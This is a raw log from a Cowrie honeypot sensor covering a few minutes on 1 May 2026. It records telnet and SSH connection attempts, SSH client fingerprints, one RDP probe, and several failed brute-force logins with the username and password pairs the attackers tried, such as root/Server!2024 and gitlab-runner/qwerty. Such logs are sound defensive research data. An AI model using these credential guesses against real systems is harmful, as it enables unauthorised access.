{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34544,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f0fa1bccd4d","protocol":"telnet","message":"New connection: 45.63.42.31:34544 (10.17.0.5:23) [session: 9f0fa1bccd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:18.505822Z"}
{"eventid":"cowrie.session.closed","duration":37.419288873672485,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:18.729064Z","src_ip":"103.115.172.252","session":"3e9e08e2e64f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.359126806259155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:20.434029Z","src_ip":"45.63.42.31","session":"c3b08183e165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2642560005188,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:24.744780Z","src_ip":"45.63.42.31","session":"51cdf82caf72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":54847,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f8bb7e7134b","protocol":"ssh","message":"New connection: 78.134.49.171:54847 (159.203.135.109:22) [session: 8f8bb7e7134b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:25.840110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:25.845130Z","src_ip":"78.134.49.171","session":"8f8bb7e7134b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:25.956948Z","src_ip":"78.134.49.171","session":"8f8bb7e7134b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"qwerty","message":"login attempt [gitlab-runner/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:26.412456Z","src_ip":"78.134.49.171","session":"8f8bb7e7134b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:27.520355Z","src_ip":"78.134.49.171","session":"8f8bb7e7134b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.945988178253174,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:31.265791Z","src_ip":"45.63.42.31","session":"8c72d75a79dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36592,"dst_ip":"159.203.135.109","dst_port":23,"session":"014265f00e33","protocol":"telnet","message":"New connection: 185.26.126.47:36592 (159.203.135.109:23) [session: 014265f00e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:32.965832Z"}
{"eventid":"cowrie.session.closed","duration":35.949092388153076,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:39.278209Z","src_ip":"45.63.42.31","session":"8e2101c5d5cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":51354,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fb662257dae","protocol":"telnet","message":"New connection: 20.231.213.159:51354 (10.17.0.5:23) [session: 8fb662257dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:39.677823Z"}
{"eventid":"cowrie.session.closed","duration":12.00348949432373,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:44.969200Z","src_ip":"185.26.126.47","session":"014265f00e33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39324,"dst_ip":"10.17.0.5","dst_port":23,"session":"38929a61714c","protocol":"telnet","message":"New connection: 45.63.42.31:39324 (10.17.0.5:23) [session: 38929a61714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:47.801075Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35918,"dst_ip":"10.17.0.5","dst_port":23,"session":"1724bac6e4c3","protocol":"telnet","message":"New connection: 45.63.42.31:35918 (10.17.0.5:23) [session: 1724bac6e4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:48.890702Z"}
{"eventid":"cowrie.session.closed","duration":36.81855320930481,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:55.324224Z","src_ip":"45.63.42.31","session":"9f0fa1bccd4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":56842,"dst_ip":"10.17.0.5","dst_port":22,"session":"0364f6152595","protocol":"ssh","message":"New connection: 107.173.55.151:56842 (10.17.0.5:22) [session: 0364f6152595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:56.948687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:56.953366Z","src_ip":"107.173.55.151","session":"0364f6152595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:56.972500Z","src_ip":"107.173.55.151","session":"0364f6152595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server!2024","message":"login attempt [root/Server!2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:57.084766Z","src_ip":"107.173.55.151","session":"0364f6152595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:25:58.112454Z","src_ip":"107.173.55.151","session":"0364f6152595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.105635166168213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:10.783339Z","src_ip":"20.231.213.159","session":"8fb662257dae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53962,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e44b5c6f925","protocol":"telnet","message":"New connection: 45.63.42.31:53962 (10.17.0.5:23) [session: 8e44b5c6f925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:10.931942Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55020,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6d8a762ca7e","protocol":"telnet","message":"New connection: 45.63.42.31:55020 (10.17.0.5:23) [session: a6d8a762ca7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:11.531825Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55446,"dst_ip":"10.17.0.5","dst_port":23,"session":"c25721a4e632","protocol":"telnet","message":"New connection: 45.63.42.31:55446 (10.17.0.5:23) [session: c25721a4e632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:14.749717Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40284,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca82c7a05e38","protocol":"telnet","message":"New connection: 45.63.42.31:40284 (10.17.0.5:23) [session: ca82c7a05e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:19.474208Z"}
{"eventid":"cowrie.session.closed","duration":35.868003845214844,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:23.668962Z","src_ip":"45.63.42.31","session":"38929a61714c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.23624634742737,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:24.126821Z","src_ip":"45.63.42.31","session":"1724bac6e4c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54404,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7c32d875bb","protocol":"telnet","message":"New connection: 45.63.42.31:54404 (10.17.0.5:23) [session: fa7c32d875bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:25.783097Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":35354,"dst_ip":"159.203.135.109","dst_port":22,"session":"340302ccc8a5","protocol":"ssh","message":"New connection: 78.134.49.171:35354 (159.203.135.109:22) [session: 340302ccc8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:31.262116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:31.266795Z","src_ip":"78.134.49.171","session":"340302ccc8a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:31.386312Z","src_ip":"78.134.49.171","session":"340302ccc8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"azerty","message":"login attempt [git/azerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:31.979324Z","src_ip":"78.134.49.171","session":"340302ccc8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:33.144928Z","src_ip":"78.134.49.171","session":"340302ccc8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":43132,"dst_ip":"10.17.0.5","dst_port":22,"session":"42735ba9f30b","protocol":"ssh","message":"New connection: 107.173.55.151:43132 (10.17.0.5:22) [session: 42735ba9f30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:42.908642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:42.918234Z","src_ip":"107.173.55.151","session":"42735ba9f30b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:42.931655Z","src_ip":"107.173.55.151","session":"42735ba9f30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe789789","message":"login attempt [root/qwe789789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:43.035794Z","src_ip":"107.173.55.151","session":"42735ba9f30b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:44.058461Z","src_ip":"107.173.55.151","session":"42735ba9f30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33870,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bb67c33dbe1","protocol":"telnet","message":"New connection: 103.115.172.252:33870 (10.17.0.5:23) [session: 6bb67c33dbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:45.640392Z"}
{"eventid":"cowrie.session.closed","duration":35.117696046829224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:46.049443Z","src_ip":"45.63.42.31","session":"8e44b5c6f925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39968,"dst_ip":"10.17.0.5","dst_port":23,"session":"5137000fcfac","protocol":"telnet","message":"New connection: 45.63.42.31:39968 (10.17.0.5:23) [session: 5137000fcfac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:47.568105Z"}
{"eventid":"cowrie.session.closed","duration":37.471115827560425,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:49.002830Z","src_ip":"45.63.42.31","session":"a6d8a762ca7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.527697801589966,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:49.277301Z","src_ip":"45.63.42.31","session":"c25721a4e632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45422,"dst_ip":"10.17.0.5","dst_port":23,"session":"31445ce19ad6","protocol":"telnet","message":"New connection: 45.63.42.31:45422 (10.17.0.5:23) [session: 31445ce19ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:51.395532Z"}
{"eventid":"cowrie.session.closed","duration":35.340648889541626,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:26:54.814745Z","src_ip":"45.63.42.31","session":"ca82c7a05e38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.00785279273987,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:01.790825Z","src_ip":"45.63.42.31","session":"fa7c32d875bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41368,"dst_ip":"10.17.0.5","dst_port":23,"session":"d912f235a0de","protocol":"telnet","message":"New connection: 45.63.42.31:41368 (10.17.0.5:23) [session: d912f235a0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:02.959147Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48020,"dst_ip":"10.17.0.5","dst_port":23,"session":"b69a71ef2b6a","protocol":"telnet","message":"New connection: 45.63.42.31:48020 (10.17.0.5:23) [session: b69a71ef2b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:06.413893Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39988,"dst_ip":"159.203.135.109","dst_port":23,"session":"d171e228b850","protocol":"telnet","message":"New connection: 213.171.199.40:39988 (159.203.135.109:23) [session: d171e228b850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:07.483359Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45716,"dst_ip":"10.17.0.5","dst_port":23,"session":"fac37f6db0ad","protocol":"telnet","message":"New connection: 45.63.42.31:45716 (10.17.0.5:23) [session: fac37f6db0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:08.177135Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46760,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9d4a8ef7120","protocol":"telnet","message":"New connection: 45.63.42.31:46760 (10.17.0.5:23) [session: e9d4a8ef7120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:08.719691Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":48048,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b18d91c51e","protocol":"telnet","message":"New connection: 103.115.172.252:48048 (10.17.0.5:23) [session: 91b18d91c51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:18.562868Z"}
{"eventid":"cowrie.session.closed","duration":33.54267239570618,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:21.110556Z","src_ip":"45.63.42.31","session":"5137000fcfac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":44932,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a446834357c","protocol":"telnet","message":"New connection: 213.171.199.40:44932 (159.203.135.109:23) [session: 0a446834357c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:24.923266Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46220,"dst_ip":"159.203.135.109","dst_port":23,"session":"d30efd64c33f","protocol":"telnet","message":"New connection: 213.171.199.40:46220 (159.203.135.109:23) [session: d30efd64c33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:26.306439Z"}
{"eventid":"cowrie.session.closed","duration":34.97052550315857,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:26.365941Z","src_ip":"45.63.42.31","session":"31445ce19ad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":64593,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffbd59e08ce9","protocol":"ssh","message":"New connection: 103.149.252.223:64593 (159.203.135.109:22) [session: ffbd59e08ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:26.506195Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:26.510582Z","src_ip":"103.149.252.223","session":"ffbd59e08ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:26.514177Z","src_ip":"103.149.252.223","session":"ffbd59e08ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.114906787872314,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:27:29.755201Z","src_ip":"103.115.172.252","session":"6bb67c33dbe1","protocol":"telnet"}
